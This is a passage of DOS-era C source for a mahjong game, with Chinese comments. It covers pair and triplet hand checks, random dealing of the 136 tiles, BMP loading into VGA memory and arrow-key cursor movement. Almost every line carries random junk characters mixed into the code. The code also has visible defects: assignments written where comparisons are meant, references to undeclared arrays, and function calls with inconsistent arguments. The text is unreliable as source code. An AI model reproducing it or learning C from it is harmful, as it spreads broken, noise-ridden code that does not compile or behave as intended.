% j+ i, `3 I% V6 p+ ~( u# ~{ ill=0;
9 H6 T6 i8 B$ c+ z( p( A5 Zfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/+ C9 L% G4 `" s% S
{if(kl==i)
7 @. {* b* l" r9 y. x! G) W{" x4 ?- z2 r5 }1 e
kl=kl+2;) S8 B3 @  E0 h8 Q
if(kl==8)
" L+ p* Q0 d3 z) r7 Vbreak;5 n) [# c4 z; i
}
/ ^/ [( q* O6 etest[ill++]=pt[kl];6 \; }. ~. M  `
}
1 i' ~; F- h# k- risthree(test,tt-2); ( W7 J6 W) \; O% _, Q; `7 V
}& V7 s5 f! r8 y7 o$ |
} ' S' Z6 Z6 i& f$ m* D
else if(tt==9)/ U0 Y% E8 Y1 H' _
isthree(pt,tt);
/ Y( l5 A4 N! w$ @; m# i# Qelse if(tt==11)% D: T; O0 {1 l; l- _4 d6 [2 G
for(i=0;i&lt;10;i++)) k; C/ S8 c9 S
{
1 `2 k& d) H1 I+ M# b, Y; ~for(j=0;j&lt;2;j++)
, c7 f+ Y  r; C: y2 a( t{test[j]=pt[i+j]; / P( h5 Y( h0 m1 ?9 r
}# q7 I* Y- W# ~# H
if(istwo(test))
) ^7 H' v( ^& z{ ill=0;0 J* A3 a) o. K
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
3 Q& [7 P9 e) |! E' V* Y) D{if(kl==i)
8 U& Y2 z* U1 J1 m$ C{
0 Z1 ]6 {3 r- y0 J0 g# jkl=kl+2;
' D2 ^' D0 C" O  |. @1 sif(kl==11)
+ \7 b5 p* r; m- f& Dbreak;* Q" J2 e! ]2 Z0 G( w  L6 c" T' t: z. Q
}
" ]1 V/ h0 k3 f9 ztest[ill++]=pt[kl];
' q, }$ T& _# K. [}
3 @- @  m0 }9 P( d0 i9 Qisthree(test,tt-2);
7 X& `2 ~: h$ O) [3 ~  J4 _}
+ b  k; u" t4 `}
' z" P* C) W* ?3 r! d% Ielse if(tt=12)1 Z7 Z: `9 d. O: m. r/ E
isthree(pt,tt);( G5 y( k# Q' ?& w! U" X7 H- j
else if(tt=14)
: n! b9 w7 q; o: U; C0 `for(i=0;i&lt;13;i++)
) Z" J- U  ~! `/ k' `% m2 L3 h{) n0 F1 ^: d% G( T4 T6 J) S
for(j=0;j&lt;2;j++)% r2 }! I5 r- w7 P
{test[j]=pt[i+j];
8 X7 {# V7 a9 S) w5 B9 ~& y}
  T" _/ V1 o" R' L# S$ M) o9 Vif(istwo(test)), X7 h* R1 ^  _' X/ w
{ ill=0;/ y$ `3 W+ I  F# S3 ~; P( V
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: Q9 S) T* p- d- C' W$ N1 d; ]{if(kl==i)6 X1 z" A9 _# B' i% ?
{# T9 I8 K6 T, c5 o. q
kl=kl+2;- c- `2 p4 p8 P, X7 N
if(kl==14)( f: B/ [( I7 _
break;
/ ~! x) o$ O( K& r" E}( I0 S* }+ s3 f/ l) j: P9 d
test[ill++]=pt[kl];
0 I( R1 u$ R" d/ ]; D5 g, N3 m}+ T$ R' k1 v$ N2 d' ?' j
isthree(test,tt-2); ) }+ p) m( E3 m1 L8 d' b
}
9 h8 t( Z1 Z# J7 X& P}  z+ V- W* @- O2 f
if(ii==2)6 k* y: E5 f. D6 f  X
istwo(pi);2 v+ f) J* k2 U+ m5 B0 o3 L
else if(ii==3)
; j# x' B7 U; v1 Q; \" g! Aisthree(pi,ii);5 D6 f2 {' q' a
else if(ii==5)( x$ y( c  Z" L' q3 b: V
/*pi[5]原始牌数组,假设已经升序排列*/
- {- Q5 U" ?# m/ h4 K4 O) w: q7 T/*test[3]用来放置测试牌的数组*/
6 Q* R& B0 ^6 V. C9 o: F0 ]! efor(i=0;i&lt;4;i++)
5 \& g* s- ?0 Z& R' P6 O# g{  r; |1 m0 |: x- I9 c; U
for(j=0;j&lt;2;j++)
$ r  A4 A6 y- u5 y4 l{test[j]=pi[i+j]; . f9 }) @& G. B: U. f5 h! T; o
}
$ ], p- m* O2 ~if(istwo(test))
1 \' k9 |' H* N{ ill=0;
+ o4 |9 j& O4 ~" Q# Q: d% \# Dfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/5 b& @7 V! ^0 `. i2 I7 a" @
{if(kl==i)
  n4 P! P& y* `) R9 {8 Z{
  d/ f5 f  W, G: r& o* L  {" Lkl=kl+2;' s2 n$ g: g" c7 R3 {
if(kl==5)4 H: n5 y& O. H# C. D1 F
break;" C$ R1 v$ Q' I
}5 p9 ^8 n2 q0 N+ z
test[ill++]=pw[kl];
. q& e' C5 {0 G6 Z/ @}- w6 b7 Q5 K2 s/ ?! c
isthree(test);
% |0 l) ~( t+ W& n5 l}
% K! q  d* p  @( R6 Z2 Q6 W}- C2 T9 q6 `% W- o" V$ t2 k
else if(ii==6)
3 n9 \5 C/ c7 w# C: y: Q2 }$ s* C2 \isthree(pi,ii);
; k% c( \! f) Z, l, D; ~5 y2 Uelse if(ii==8)0 I) N! S  s  w
for(i=0;i&lt;7;i++)
( n, V: o0 O/ N. h{
$ j( M) a: _7 e6 o9 s" m/ Lfor(j=0;j&lt;2;j++)9 t* r7 D- J7 U( P
{test[j]=pi[i+j];
3 b: K% U3 j3 a6 W5 A}5 W4 w- v% \6 G/ r1 O) y
if(istwo(test))
% u  c$ R& v9 z; z{ ill=0;
+ k3 W, C3 ]- [; q, q2 ]  rfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
! v9 _( G+ S$ b% P" w! O{if(kl==i)
) m0 W) ^3 A7 D, N{0 N" n  n7 L0 N) ?7 P3 b
kl=kl+2;
9 L( E, E# B( R6 R7 a: P3 sif(kl==8)9 J4 `& f5 k8 M
break;
/ [! F3 Q- j" J4 \  U% O: l" [}
+ j4 b: v/ ]$ ztest[ill++]=pi[kl];
; A/ L6 w; w2 l" H% [}# O! x& e' Y+ v& F
isthree(test,ii-2);- O  T9 l! _" F) K- k3 ^
}
' j7 o/ r. p9 A' X8 b} % t7 @6 k' R. c2 L5 g  q4 D4 Z
else if(ii==9)
* l6 w4 v$ O. q0 tisthree(pi,ii);; Q2 n8 ^) z, ~0 `3 {  P6 h
else if(ii==11)
$ \( H6 ~' v; |for(i=0;i&lt;10;i++)
8 O0 m% x% M" `8 S3 V* Q& |{6 G) q7 h3 }% q: y9 a, F, S
for(j=0;j&lt;2;j++)
2 g; a% @1 w* r6 `4 K( e{test[j]=pi[i+j];
$ N; a+ g* W& a4 p- P+ u4 V0 D- ~}1 a) c7 Z  Q( S7 Z
if(istwo(test))
8 j- p' ]" i; C! W) w" Z9 E/ _# ]{ ill=0;
: X% V8 n9 `8 L3 c% W0 ~for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/8 g0 D5 ~4 h3 j! P
{if(kl==i)
1 k$ N" m  u/ b, g5 ]5 R; _! K1 a* @, U{
9 e0 C/ q, I) a1 hkl=kl+2;6 ]+ t2 e: s% G# `: q  V, f
if(kl==11); `; g7 e% Z8 |4 g$ n' [9 }
break;
5 Z& X' T; N- w0 o0 u$ h* E}
! P" A* l6 k' W* ytest[ill++]=pi[kl];; o6 r  f5 w! N2 i! i0 ^" I7 u
}6 A( C$ A0 j; p! g  g( w- _8 z
isthree(test,ii-2);   N* [( y, M  D2 T+ `# z$ r" I
}
6 N" Z' Z9 `/ r2 d} ' V/ Q  V; {% |, C
else if(ii=12), [/ K: a" G8 X- L
isthree(pi,ii);( W* D- c9 S6 a4 I5 m
else if(ii=14)
, |& {/ k/ v4 P, d: [& L! O& K& Afor(i=0;i&lt;13;i++)' @0 @8 i1 i% _4 C
{
+ W5 \2 y* @& \! `/ i5 G+ Q& afor(j=0;j&lt;2;j++)
% n/ U3 b# N! i$ Z2 U5 q{test[j]=pi[i+j];
: |, S8 S# ~: s4 a$ J% W" k}
; E. B3 o3 _( @+ rif(istwo(test))2 W# i. r3 m: D/ p: y
{ ill=0;
; p# M* ]- \. m$ {for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/5 }( P. H4 z8 P* }
{if(kl==i)
# T: Q! ?9 t+ A& d{; T, q, Z" D" c3 X4 C* G& R6 B+ Z' G
kl=kl+2;4 |) {5 X! i- w* Q. z% c; T7 z
if(kl==14)
$ x5 b4 e' S. |( q/ S! Dbreak;
2 O/ g% B3 c- q}
* l) h, |$ k3 x  ]) i" gtest[ill++]=pi[kl];$ t2 h5 D1 _  v% O! s
}
2 o. @; ]9 d4 F: }isthree(test,ii-2);
) @$ Q" E) y  K7 I1 F}0 Q1 ]6 B4 d9 n: W2 X3 l
}
! F: d: s1 }. C2 D; z( pif(ff==2)! `8 o* {( |7 Z7 e; _3 w
istwo(pf);0 Q) h: p) o: m/ X* h
else if(ff==3)0 c2 v( B; H* f5 |6 y4 J
isthree(pf,ff);% _6 [! {2 B( ~0 f" z
else if(ff==5)) S1 a+ X" Z' E( b3 e
/*pf[5]原始牌数组,假设已经升序排列*/
+ |* a7 M+ ?4 i4 X' f% Y/*test[3]用来放置测试牌的数组*/4 s% r1 m; b0 c7 [, _$ I
for(i=0;i&lt;4;i++)) z: L" J) F4 t$ Q, u: y) o) S
{
; L0 n4 C& g7 Qfor(j=0;j&lt;2;j++)
  \/ D% H* A, |- c$ g{test[j]=pf[i+j];
1 B6 D8 i) q2 s3 X}
0 {4 U" J6 I" `/ iif(istwo(test))+ z9 b( S' s% k  w3 O4 R
{ ill=0;
# B4 E8 m0 p1 A0 ofor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/% ^& B& p8 v: C* t/ {5 u9 t
{if(kl==i)
7 c( X  _& ]. q{/ P: Q* N: d' M/ @3 i% u. W9 S2 c
kl=kl+2;
; X" T9 L+ h4 I# p5 g/ c% ~if(kl==5)/ `' K- [) d$ i3 u
break;
  g- V* O1 e) \1 D- O$ L4 q}5 @' r: _) F& s
test[ill++]=pf[kl];# }: M* q6 @8 `$ G+ i) _
}# C2 a" n# |, h, i5 {. k
isthree(test);
* \- @. j6 g2 O1 r}
0 J8 a8 {" O0 W" ^}2 e) Z) D0 Z& G7 O( n
else if(ff==6)
' x; S) f) c( p! c* Zisthree(pf,ff); ' J( V2 t$ H% x; H' P: G: R" s
else if(ff==8)5 y* S6 z" y6 q" y
for(i=0;i&lt;7;i++)7 X; k6 m. m' t- b) v& k  C" H
{
3 S9 c# m+ j. a+ J7 B9 K( x4 Z" x( Qfor(j=0;j&lt;2;j++)
* T# a# x/ m1 X! {: ?7 Q0 a{test[j]=pf[i+j];
" o( f$ Y( o) @0 n( K. w}3 t6 j% \' }) w$ {  Z; x- a3 P# \
if(istwo(test))
& P+ |8 K  |$ {- i# p{ ill=0;
/ {; m5 s, z8 F$ U- W  |. Zfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/( [% ^* o+ i0 T+ P$ ^# U
{if(kl==i)' t, L3 ?$ @  x9 j
{
+ U) w3 a, R- Z. u$ G' z" Rkl=kl+2;+ X9 o0 R- u! ?/ S' d4 r0 |1 v5 T. I
if(kl==8)
& F; D1 h; u; c0 D8 C' b! gbreak;! n5 m/ r+ G; {: k6 e, Z
}& A% D" d8 V; h2 B4 S/ F! ]
test[ill++]=pf[kl];  x" @: R' |: A! ~/ z
}+ ~0 ]( |  }+ o; g
isthree(test,ff-2);   b. o* d& ]7 l1 p. v" z6 Q6 ?
}1 |' a! j8 g  ?7 T; i
} # M  W9 n" N) u  f
else if(ff==9)
5 B( m) a' l9 _" j1 B9 c! K1 nisthree(pw,ww);
$ }5 y3 S2 a) y$ m; e  P' _% gelse if(ff==11)
" z6 S2 [$ ]3 O$ z0 Efor(i=0;i&lt;10;i++)( V9 t( m/ t+ x' d! T+ ^
{1 e1 t: l3 I. T% C
for(j=0;j&lt;2;j++)
- ^. w& j5 s. x. f) O0 ~{test[j]=pf[i+j];
7 h- [3 ]  r# x% V}6 ]0 _# c' R4 o' x& J
if(istwo(test))* I# \% w7 \. @% p8 F+ V# L7 n% m
{ ill=0;9 q' I3 Q' K& J# w9 u4 W
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
% V9 F6 ^6 u9 g3 }{if(kl==i)
  x/ G4 ^; {3 Z4 N7 D+ p6 U& v) [, c3 a* v{1 [9 c1 Q8 W8 C; q, B% M* I' Y. ?
kl=kl+2;
8 [! N6 [' `! u6 ~# g5 dif(kl==11)5 F- r0 ~& k( G' j, \
break;6 w8 e6 [6 D6 R' A5 A9 M
}; o0 _) t% T+ `9 {$ G' Z  y& |
test[ill++]=pf[kl];
, ~2 `7 N; B- M4 P* \: U5 }}
1 I5 q; W- U2 k" l* O+ Kisthree(test,ff-2); ! P. s. n8 X) V
}5 Z6 y. g1 t3 g3 O  C8 F9 z
}
( d" p) N6 o8 f$ t7 telse if(ff=12)
$ C! w# K1 c5 D' @, \2 J( iisthree(pf,ff);/ S/ d3 h  N: f2 k
else if(ff=14)& M( }, g& G$ N& m; p, y! i) g; M! c
for(i=0;i&lt;13;i++)" h& f: f7 c' A* S5 d
{
8 h- R: O: j' Y( ]- O: r, h$ _; ifor(j=0;j&lt;2;j++)0 e3 n: M& B% G) l+ ^+ y: N
{test[j]=pf[i+j]; 4 K7 T: V- u9 R/ D4 F* u
}7 }0 O) m: E6 n2 T9 U
if(istwo(test))
" P3 P+ q2 j$ D{ ill=0;" I; d8 T  ~) M8 r  f3 v+ @
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* U/ y/ U2 S9 b. {2 i' z5 ]4 i9 W9 I{if(kl==i): y9 ^) h$ e6 h
{
# O9 W2 P4 _5 z# a, k- W3 ?: Skl=kl+2;: K8 U* P) u6 B& _# r/ _
if(kl==14)
, R0 k& }5 J/ s4 [/ I/ L7 G1 y! Pbreak;
: A; S6 O( Q1 d9 U% E  f}
: b; J, I9 ~: O- D6 O4 Wtest[ill++]=pf[kl];
& C" }& ]4 A) b, a, Q8 f, X}
7 Y* l* k9 B. r7 ?/ A( t6 Uisthree(test,ff-2);* G+ @2 d) `; E  {! X- R
}
$ [  b7 F% r3 i} 0 V- ~3 G5 T! O4 S
}
3 ]/ Y) R. A, m5 Kvoid main(void)
$ a% O- Q. ^4 F( b. a9 R, H{- B8 W* S  K8 G' v$ k& F4 c
FILE *bmp;
7 |- J. U- q& e& Tstatic char *name[2]={"ff.bmp","logo.bmp"};
2 j$ v5 n  M" x. j) wchar *p;
7 b( I+ e, i, `) H" p* |9 vint *lingshi;8 I- `/ M/ u. s; [( J0 m
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;6 ]% B$ a8 {+ K- G% z3 i& ?$ _
int every=0,w=0,x1,x2,y1,y2,every1=0;9 X5 V# V6 K0 M2 T# |+ r+ o
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
/ H+ W0 ]6 l7 W4 k' x2 wBYTE palette[256][3];
& A$ s% y, G7 }  w, BSETVGA;; r* d& i+ l9 w
getch();
0 z5 E% f0 Y, m9 fwhile(t--)
8 u+ G# t8 j3 f7 y1 F; Q7 t{* w4 P) m  W1 {9 F) S4 f: m
bmp=fopen(name[t],"rb");% }. m7 F" ^1 c8 u' J; \. L/ ^
fseek(bmp,54,SEEK_SET);
5 v  N2 A. d( U; c& E- Bfor(i=0;i&lt;256;i++)
+ r8 z$ o1 g! R) F% F, Y& Y" v: F{
+ q4 v! d4 t. g6 ~5 lpalette[2]=fgetc(bmp)&gt;&gt;2;
& q2 E2 ^) o! {+ r7 C6 Vpalette[1]=fgetc(bmp)&gt;&gt;2;4 G: s' \6 a8 D  ~! }! l
palette[0]=fgetc(bmp)&gt;&gt;2;
# M" B2 D: b! {( bfgetc(bmp);; M4 i- Y6 i3 M0 l* p
Set_Palette(i,palette[0],palette[1],palette[2]);
0 h9 Z' J* |- d}
! H) p. V4 }4 }: \6 G( @  G* Tfor (y=0;y&lt;200;y++)
% x/ R# V- ^5 W' A$ p6 Ofor(x=0;x&lt;320;x++)
) w- q; D" `& A1 p! s8 apokeb(0xa000,y*320+x,fgetc(bmp));& \+ K5 [/ [* D5 U  }) n, c( A4 y8 @
fclose(bmp);
7 {* a, |! v8 egetch();
/ Z0 Z  B8 V6 n* F. X}7 I! B/ _. m1 s  m9 l' }
getch();
7 K8 X& Z* Q9 r! T6 B3 @fillRectangle(0,0,320,200,0);
2 Z: W+ p5 f; @- j% p; fgetch();
* E1 x# E! E! h4 V' erandomize();
! T6 v; l( D, l- w2 qme.m=onetothirteen;: K2 a; Q+ @3 }* B: m
while(me.m&gt;0) /*先循环,给自己拿牌*/
0 `* i7 N- |: {1 G# p{
1 Y* i7 u$ o: @* }; u8 t6 j! X& K
8 |  W0 C$ ^8 o, a7 d- ^temp=random(136);
- A& J0 L  w% ~& dif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
, ]8 z. x* b8 O2 Z{
! l' f" M3 G/ V5 J5 M- Xme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/% ^/ R2 j8 N; ]0 n8 {. }
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/0 o* T2 \! y3 \) B% s: k
me.pp[n].number=temp; /*第几张,用来排序*/
' g. ]0 ~/ d  i$ r: S. \" h! g, cm[temp].data2=1; /*判断牌是谁的*// N+ O. U( @  @# D8 y
kk=1;* z* D# `2 x" e$ e, D( ~
}* w* j2 m  I% M! _: k
if(kk==0) /*判断如果又选择了,就从新再选*/% ?, {' Z# \! \% `
{ & A+ l2 s3 ?/ Z1 E. D2 c6 l
me.m++;: t/ s4 h( m; i$ n7 Y( m
n--;
- K6 t! M! e# {8 i; }/ }}
: n! j& h* `) Q1 ime.m--;
$ H. \' \5 z  H% g4 W) t- ?n++;' _2 T& J2 s  J3 ?  @1 E
kk=0;
  J: b; Y( S% o}
2 U! {9 ^( h, z- M6 dme.m=12;5 n- U! ^% X3 e  j% j# k
melipai(); /*理牌*/1 l9 v0 O2 ?8 d+ `
" m/ M! f6 r# f% q$ K
n=13;7 X; J" f: \: s' N2 u: k
while(l&lt;n)
2 V* A9 K+ ^  g  ]{
, {: S  I8 N# ]% sz=z+20;
1 @% [3 O! \" u6 `showbmp(l);
/ Q6 B8 r* x. F& Ul++;7 P  _+ I) }( L& ^- E0 L! X

2 A! x3 f, p% c, e# B8 q+ s$ }}
( \6 z4 S% @9 @( trandomize();
1 K0 N8 F# ?! I! o2 G, r. X) Ucomputer.m=oneorthirteen;% ~- {/ ~1 f; C- N$ W! R1 w
n=0;
& @  \1 P* J% b9 R' |1 o4 [8 |while(computer.m&gt;0) /*循环,给对方拿牌*/0 v3 I( E9 Z4 ]+ [% I
{. r  R! k0 p6 z, s; D
temp=random(136);5 Z( i! X  u1 |; u- E5 z* V
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)- z4 l% [& Y, L" u1 m% S+ O
{
/ l: S9 N3 X, x$ n( Qcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/# h7 X3 e& M$ t; R! z5 y9 [
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/: K$ D% T1 H2 }! S2 s
computer.pp[n].number=temp; /*第几张,用来排序*/
4 C; _& m, t1 q% P7 fm[temp].data2=2; /*判断牌是谁的,2为电脑*/4 H# `3 ~) `9 W$ x& }( M7 u
kk=1;! ~' m9 ?4 u0 J2 |$ ^+ |# M
}+ W+ I3 D7 U8 ?) n6 ~% j7 x
if(kk==0) /*判断如果又选择了,就从新再选*/
: [7 K, Z9 h3 C{
) R* j3 k# a/ Q: f4 Gcomputer.m++;2 l2 B$ p0 u2 y
n--;6 T. g. H0 s% ^
}6 Q: o! o% p2 j! C- M& K
computer.m--;9 s  [) Q* ^  w/ d1 V8 d6 I- c
n++;: a: }7 y! B. K: Q; p- E
kk=0;
$ g/ R: q8 R4 N7 q}- A, j; W9 w) I
computer.m=12;6 d3 [5 e6 A2 i& n2 n
comlipai(); /*电脑理牌*/$ b0 Y% {% A# J, `
n=13;% j3 X/ m! h4 K0 I
while(ll&lt;n)
3 W' W: w: C- e7 a8 e{% N6 Q( ]+ t) p' b
zy=zy+20;% ]+ Y1 d2 v/ z( R. C! p/ e2 C; M  S3 b
showybmp(ll);
# D& Z. i1 H  q8 h9 [8 T  [ll++;; j3 [/ Y& U6 i& c0 H' @
}
7 W: S$ z2 c1 l& w' }; ~! r  H4 t& e" r) M* y* j
z=54400;- Y$ y/ `, q7 s$ P
while(key!=ESC)
0 B9 f, D7 F) y{
: Z3 g! _" [: H5 e* v: ~5 y
# F; w, x0 F& x, v. @keyy=bioskey(0);+ l3 W- [( d& A" ^. e( T
if(keyy==LEFT)
( X+ D$ W; _3 ]- ?{ w=1;
- }  S: S" p1 B! i+ }$ q: X8 [5 u- xif(every==0)
6 h# {% Q6 _( F9 i2 {; V4 M  W{" n' f2 Z' [1 {. C* A1 k
every=1;0 p+ Y/ @: C- y8 d- M9 L
z=54440-5*320;4 Q  Y' {1 D4 t: v. t

. H0 A! ]1 }& o9 T6 C. |  M. J}; t6 Y# ]% e! W6 M; ]6 J) g
zz=zz+5*320;- d: s+ S1 w2 \# a$ ^% {
showbmp(every);
4 A9 e6 }9 H- x: s, e2 F0 Eif(every==0)1 B: ]* h' f' b* n1 w  g
{
. K4 @* l6 b) ?4 @' ?* l7 b" dx1=20;. l6 ]: ^9 K+ A( k1 F4 N) |
y1=165;
, n6 i; {6 C5 }; M) QfillRectangle(x1,y1,x1+20,y1+4,0);
: o1 o; W$ v. m}
' a1 Y0 W" I1 i, X1 U. yif(every==1)
  \# N3 W* D$ T{8 F$ R& ], @5 N$ h2 B
x1=40;- }8 l/ c7 G5 w. T' y" R9 n
y1=165;
" K; v9 n, K+ d8 s$ [* v$ v1 ]fillRectangle(x1,y1,x1+20,y1+4,0);  W  D. k8 q* b/ r
}0 r7 C& O0 {; g
if(every==2)  Y0 o0 j( r6 \5 |5 I
{/ s3 u1 ~  E8 x* P" Q9 `- Z
x1=60;! ~4 }/ }+ d* ^+ b
y1=165;* k/ }( R9 z: E/ C+ A1 j2 L
fillRectangle(x1,y1,x1+20,y1+4,0);5 {3 L: a: v* m' k3 a
}) I7 N+ n; K9 y$ ?9 i. q
if(every==3)
1 E% y+ T9 @# d* g. U{
# O1 l9 S% Y$ S8 _9 O% [; {x1=80;
9 U) `) L" b( R1 ~y1=165;
/ N5 l' h# V1 b, ?+ \) ]fillRectangle(x1,y1,x1+20,y1+4,0);, l3 M7 T$ S1 [3 E) A  K
}
6 d3 _3 |! x) w- T6 z9 j) Y- Oif(every==4)
* |* @0 x; I* C4 h& E0 f{
/ A& c5 R1 I/ p+ H) }x1=100;
  q- d% B$ o6 ly1=165;
8 p* ?0 f+ O' j2 Z+ VfillRectangle(x1,y1,x1+20,y1+4,0);+ D- D: @7 ~- @- J$ w
}# ^+ f- ~6 J) ?0 d7 R3 ]8 B5 t
if(every==5)" s! y, b5 E/ i  E
{
0 }% J6 B$ x6 y0 t0 Rx1=120;/ v' j0 l2 R& O# f/ ]
y1=165;. P4 d! |- c# z0 p3 }9 F
fillRectangle(x1,y1,x1+20,y1+4,0);
" Q9 L+ f! s, H- t! m0 }}
. H1 w/ C, n0 Uif(every==6)1 m& {" A( I3 {* v
{
: G5 x& E3 N8 Y* A& I* @x1=140;3 A) _7 _" d. \- w7 J; t
y1=165;
  b) b0 v. x5 R- r# q" ffillRectangle(x1,y1,x1+20,y1+4,0);7 I  S# y: P0 A% S( m
}) g- v* D- @+ X
if(every==7)8 A0 R6 B, S* a/ A
{
! b( l! q$ C- ~: F  q9 gx1=160;) ?7 g8 r& ]" V2 `# C" |
y1=165;
( y, y4 u6 G: N& C: m, [% Q6 YfillRectangle(x1,y1,x1+20,y1+4,0);) O. M/ \% X" A) d7 l
}: I$ T2 ]  `$ {3 y5 d! ]* j
if(every==8)& z7 f7 {8 U; Q: Z. l; B# I, l1 B
{" G' ~, b4 e* N! k
x1=180;
  b( K4 d1 i9 G' E( F7 b5 H% g: d4 [y1=165;
5 v: d1 t7 H* R% R% N* s5 A) Z' ?fillRectangle(x1,y1,x1+20,y1+4,0);
) H, p+ v2 t3 G" r6 W' p3 _3 B}# J9 h3 _. H5 o& `9 m
if(every==9)0 T0 w& K; e) K' F
{" V( f* Y; W6 Q# ^4 f
x1=200;$ w" e! _8 F. I9 P+ R( i
y1=165;2 O- p2 z% v% M& n# {( k
fillRectangle(x1,y1,x1+20,y1+4,0);
: i  m: e7 g5 K5 R1 D}
, h) r2 j* ]# C1 Y/ iif(every==10)
1 F6 k/ A- N, q+ K  }% _" z* e! e{1 x4 [5 o2 b2 z2 U
x1=220;
: T6 D. r4 R+ X( j" py1=165;
. z4 x" j4 x1 k7 `% ffillRectangle(x1,y1,x1+20,y1+4,0);  O, D; a( r, w8 J* G: r& V
}* j8 E. x) N# Q. k! g' Q
if(every==11)
( g$ r, a% s& V6 D{7 e, X9 n. o6 v* U6 u
x1=240;
7 r9 f7 E* T% N" L& [& n; wy1=165;
) a! {9 `, H% {# }; K+ SfillRectangle(x1,y1,x1+20,y1+4,0);3 s1 t+ [/ }8 J4 N# c! _
}
* m; R+ r0 w0 c, k  t# e& u, Aif(every==12)5 r  _( `. n5 C9 q
{, ^4 O* ^' E# s
x1=260;
  H9 |" [% _, c. G0 C8 A' Sy1=165;
! k  L2 o* A$ ?+ k& G) ^fillRectangle(x1,y1,x1+20,y1+4,0);
. W0 X) v1 [/ S}
  E" W2 C  L/ q, ]" Mzz=0;
- d7 u. e7 o9 e5 m# Zevery--;
) T: n- d" m2 A6 }% I/ J4 X/ u/ P* E. Dz=z-20;
! T2 ^% S/ A. ]}
8 w3 p" w3 u, ?' `& m  T; d' P" p: Oif(keyy==RIGHT)
1 Y8 `+ ^, _5 N7 c" l3 z; J{ if(w==0)/ C2 F. M% Z) B7 h
{
! e9 U+ V4 |$ R; J8 j, p( Nz=54440-5*320;' E+ b6 T$ {# |" g$ ]6 D
z=z-20;
9 }. f7 b2 R; T! O- c/ U5 iw=1;8 C2 d( _; b+ [4 r9 p( r, o
}
9 Q. d" @, ~* t3 T9 _1 _if(every==12)
# i# c  F" M# I( v{5 e, O$ H. l2 I* f' j" g
every=11;
2 _  g. H' |+ Xz=54640-5*320;! i- I+ f5 S1 ~
}* C2 O3 |: B' f' U) X7 w2 c: h
zz=zz+5*320;0 N# m" m4 j# R! `9 B1 s
showbmp(every);
7 f6 n1 \! d, D7 J( c4 vif(every==0)
' o7 w. N! V7 y{! T1 H8 O- S+ F1 k& o
x1=20;0 h/ m3 s- J: K6 C' U) f
y1=165;
( |+ }$ H3 h: ?& U# `. H+ LfillRectangle(x1,y1,x1+20,y1+4,0);0 C, E# x4 r6 F. S
}
  U% f0 r4 G, q$ E/ eif(every==1)! a0 M) A7 `: h5 J- y2 N) B$ J
{9 M. E, a1 N) a$ C' ^# E. ?, ~; i# }: g
x1=40;
& z- l6 a4 e0 [- }y1=165;
5 e& O: S6 V* X3 yfillRectangle(x1,y1,x1+20,y1+4,0);: G# Z4 n# M! ^0 C0 o7 W6 P8 J5 K
}
0 Y6 Y1 g0 [) v9 R+ P  fif(every==2)0 T, ?1 ?0 }# j6 R
{9 b6 ?' a0 p5 z
x1=60;
& Z/ [3 G1 R. [( yy1=165;
) _* _; J. J1 ~% d/ |; tfillRectangle(x1,y1,x1+20,y1+4,0);
0 R: A, {# G$ X3 H" o- y}
: j6 G7 \; D3 w/ v3 jif(every==3). g3 V6 z' \3 H
{- d8 u3 {; `2 m5 @2 T
x1=80;" g" f+ Q% q% h7 Q
y1=165;
4 K" E# S0 ~5 J: QfillRectangle(x1,y1,x1+20,y1+4,0);) q( C7 l& l+ w0 m+ W2 e5 v
}& ^3 U: r$ [4 X
if(every==4)2 `2 t5 j4 D0 V" S- |* G# a6 w2 y4 \
{
+ ?# B3 S; g! I; g1 sx1=100;2 Z7 h5 g" k% Q( t% A
y1=165;, K1 j' S3 ]1 `* c4 J4 h& X* ?
fillRectangle(x1,y1,x1+20,y1+4,0);
! b# T6 X# j/ k: k& o}$ @  w- Q/ t2 X" K
if(every==5)# s3 B6 z+ }/ V  e0 O
{
& h5 k$ O( v' l/ d" _x1=120;3 {9 b. Y! ~5 G8 n5 ^
y1=165;: ~. S4 Q8 U2 l6 d. j; E
fillRectangle(x1,y1,x1+20,y1+4,0);  Q0 X  `# I% _7 n0 ^( L% t4 S4 v
}
( p2 d2 i$ P! \8 G7 {if(every==6)
* B; y. \; ~( O( _2 w{
. K( `+ U! |' qx1=140;3 K5 m9 L* D1 V( B
y1=165;: Z. ~/ d  Y3 g: T5 ^8 l$ x  L
fillRectangle(x1,y1,x1+20,y1+4,0);
# \- c9 k% b. H0 x" G}
) t3 G& F! e" C) X1 Pif(every==7); B$ Z# b* I; j* r/ d; ]
{" I5 Q( _% }* r, w9 k
x1=160;
1 q+ U$ ?5 W+ r( Ky1=165;
& K/ i' P; W' Q) z2 ofillRectangle(x1,y1,x1+20,y1+4,0);
* C+ v& }) N( H+ O  e2 d) S# D}
$ ]' V1 @, S( o6 Nif(every==8)
3 \' v* _$ d9 V& x' N" E/ q- p- K{
( D! l# M$ u3 {8 ?" A1 e8 n4 qx1=180;) |6 g3 H4 b( k- W0 j/ l3 ]
y1=165;
' w$ }7 K- @4 S4 l) vfillRectangle(x1,y1,x1+20,y1+4,0);
9 K3 n5 Z/ P+ t+ G5 }: m1 {}4 A% x, N; R3 S6 V; ^
if(every==9)
